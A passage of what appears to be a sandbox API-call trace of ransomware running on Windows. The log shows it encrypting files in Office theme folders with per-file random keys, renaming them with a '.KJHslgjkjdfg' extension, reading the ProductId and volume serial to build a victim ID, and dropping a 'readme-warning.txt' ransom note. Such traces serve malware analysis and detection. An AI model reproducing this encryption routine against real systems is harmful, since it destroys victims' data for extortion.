ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.085] GetProcessHeap () returned 0x2a0000 [0146.086] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.086] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.086] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.086] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.088] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.088] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.088] GetProcessHeap () returned 0x2a0000 [0146.088] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.088] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.088] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.088] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.088] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.088] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.089] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.089] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.089] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.089] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.089] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.089] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.089] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x618, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x618, lpOverlapped=0x0) returned 1 [0146.089] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x620, dwBufLen=0x620 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x620) returned 1 [0146.089] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.089] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x620, lpOverlapped=0x0) returned 1 [0146.089] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.089] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.089] SetEndOfFile (hFile=0x118) returned 1 [0146.092] GetProcessHeap () returned 0x2a0000 [0146.092] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.092] GetProcessHeap () returned 0x2a0000 [0146.092] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.093] CloseHandle (hObject=0x118) returned 1 [0146.093] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.094] GetProcessHeap () returned 0x2a0000 [0146.094] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.094] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.094] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.094] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0146.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.096] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.096] GetProcessHeap () returned 0x2a0000 [0146.096] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.096] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.096] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.096] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.096] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.096] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.097] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.097] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.097] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.097] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x80f1, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x80f1, lpOverlapped=0x0) returned 1 [0146.098] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8100, dwBufLen=0x8100 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8100) returned 1 [0146.099] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.099] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x8100, lpOverlapped=0x0) returned 1 [0146.099] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.099] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x81d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.099] SetEndOfFile (hFile=0x118) returned 1 [0146.102] GetProcessHeap () returned 0x2a0000 [0146.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.102] GetProcessHeap () returned 0x2a0000 [0146.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.103] CloseHandle (hObject=0x118) returned 1 [0146.107] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.107] GetProcessHeap () returned 0x2a0000 [0146.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.108] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.108] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.108] GetProcessHeap () returned 0x2a0000 [0146.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.108] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.108] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.108] GetProcessHeap () returned 0x2a0000 [0146.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.108] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.108] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.108] GetProcessHeap () returned 0x2a0000 [0146.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.108] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.108] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.108] GetProcessHeap () returned 0x2a0000 [0146.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.109] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.109] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.109] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.109] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.109] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.109] RegCloseKey (hKey=0x118) returned 0x0 [0146.109] GetProcessHeap () returned 0x2a0000 [0146.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.109] GetProcessHeap () returned 0x2a0000 [0146.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.109] GetProcessHeap () returned 0x2a0000 [0146.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.109] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.109] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.109] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.109] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.109] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.110] GetProcessHeap () returned 0x2a0000 [0146.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.110] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.110] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.110] GetProcessHeap () returned 0x2a0000 [0146.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.110] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\readme-warning.txt") returned 83 [0146.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.111] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.112] CloseHandle (hObject=0x118) returned 1 [0146.112] GetProcessHeap () returned 0x2a0000 [0146.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.112] GetProcessHeap () returned 0x2a0000 [0146.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.112] GetProcessHeap () returned 0x2a0000 [0146.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.112] GetProcessHeap () returned 0x2a0000 [0146.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.113] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.113] GetProcessHeap () returned 0x2a0000 [0146.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.113] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0146.113] GetProcessHeap () returned 0x2a0000 [0146.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0146.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.114] GetProcessHeap () returned 0x2a0000 [0146.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0146.114] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.114] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0146.114] GetProcessHeap () returned 0x2a0000 [0146.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0146.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.115] GetProcessHeap () returned 0x2a0000 [0146.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.115] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.115] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.115] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xa, lpOverlapped=0x0) returned 1 [0146.117] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.117] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.117] GetProcessHeap () returned 0x2a0000 [0146.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.118] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.118] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.118] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.118] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.118] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.118] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.118] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.118] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.118] 